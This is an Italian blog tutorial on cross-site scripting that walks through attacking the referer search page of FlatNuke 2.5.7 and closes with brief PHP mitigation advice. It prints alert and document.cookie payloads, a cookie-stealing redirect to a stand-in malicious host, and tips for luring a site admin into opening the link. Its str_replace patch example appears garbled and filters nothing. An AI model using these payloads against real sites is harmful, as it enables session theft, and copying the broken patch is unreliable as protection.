XSS: cosa sono, come trovarli, come sfruttarli

JLorenz ha scritto:

Ultimamente spopolano attacchi di tipo XSS, una vulnerabilità che permette di iniettare del codice in una pagina. Ecco come funzionano, nei dettagli!Disclaimer: io e il resto dello staff del sito non ci assumiamo alcuna responsabilità per quello che farete, tutto quello che spiegheremo ora è a puro scopo informativo.
Bene, possiamo iniziare!
Cos’è l’XSS?
La sigla XSS non ha nulla a che fare con i fogli di stile in CSS, bensì significa Cross-Site Scripting.
Lo scopo di un attacco XSS è quello di iniettare del codice arbitrario in una pagina di input.
Le tecnologie vulnerabili possono essere molte: Javascript, Flash, ActiveX…
Dove trovo dei bug?
Solitamente questo tipo di bug si presenta quando il programmatore non fornisce alcun tipo di controllo sugli input dell’utente, ad esempio un form che non fa altro che postare e restituire dati senza filtrarli, può essere un buon punto di attacco.
Perchè attaccare?
Le motivazioni di un attacco simile sono molte: esso permette tramite uno script ben strutturato di far apparire pop-up ma anche catturare dati personali, quali cookie di accesso ai siti, così da potersi loggare come amministratori. In molti casi ovviamente è proprio l’utente bersaglio che deve aprire il link maligno fornito da una persona.
Ora non ci resta che vedere di lanciare un attacco su una Web Application, in questo caso FlatNuke! :)
Finalmente la prova pratica!
Per fare le nostre prove, scarichiamo la release 2.5.7 di FlatNuke da qua: http://www.flatnuke.org dopodichè configuriamola e lanciamola su un nostro webserver, magari in locale.
Ora andiamo nella pagina dei referer, prima ci serve un referer però! O editiamo gli headers HTTP direttamente, oppure mettiamo in un’altra pagina un link al sito di test.
Dopo la creazione del referer dirigiamoci ancora alle stats, premiamo “Visualizza tutti i referer” in basso e poi ci si aprirà una pagina con un campo di ricerca.
Digitiamo all’interno di esso: <script>javascript:alert(“XSS”)</script>
Ecco cosa appare:

uploaded_image

Ora cominciate a capire meglio vero? :p
Beh questo è un semplice pop-up, e se volessimo fare qualcosa di più serio, tipo un pop-up di prova che dice il cookie che usi come amministratore?
Torniamo alla schermata dei referer e digitiamo:
<script>alert(document.cookie);</script>
Ora riceveremo il nick e il cookie nostro, se siamo registrati:

uploaded_image

Bene bene bene…(anzi mica tanto per l’admin del sito!)
Ora dobbiamo capire un’altra cosa: questi comandi li esegue il nostro browser, e quindi in questo caso vedremo il nostro di cookie! Per catturare quello dell’admin…dobbiamo mandargli un link contenente anche una specie di sistema che rimanda il cookie a uno stealer (script per “rubare” dati).
Un codice tipo questi va più che bene:
<script>document.location=’http://www.sito-maligno.com/cookie-stealer.php?’+document.cookie</script>
Unico problema: dev’essere l’admin del sito ad aprilo! Abbiamo varie possibilità: o gli diciamo noi del bug e lo “costringiamo” a inserirlo per provare, poi andiamo sulla pagina del sito maligno e ci prendiamo il cookie, oppure controlliamo le richieste HTTP e gli mandiamo un link strutturato in maniera tale da sembrare un form già compilato, e ricevere l’output. Pare che con le ultime versioni di FlatNuke, questo problema non si presenta, ma con molti altri prodotti si!
Come proteggersi
La maniera migliore e più efficace per garantire una protezione funzionale è quella di controllare cosa viene inserito dall’utente all’interno del form di richiesta, quindi filtrare l’input e restituire un output come si deve.
Se lo script vulnerabile è in PHP, possiamo avvalerci di due funzioni:
str_replace – http://it.php.net/manual/it/function.str-replace.php
htmlentities – http://it.php.net/manual/it/function.htmlentities.php
Ecco come applicare una patch con str_replace, giusto per esempio:
$stringa = str_replace(“<“, “<“, $_POST[‘keyword’]);
Questo sistema cambia il carattere “<” con il suo corrispondente in maniera da controllare e filtrare l’input e l’output.
The end!
Questo è tutto, se ho dimenticato qualcosa fatemelo presente con i commenti o con un post sul Forum di UtilWeb.

Ora non mi resta che salutarvi e…non fate danni! ;)
News by UtilWeb – Informazione libera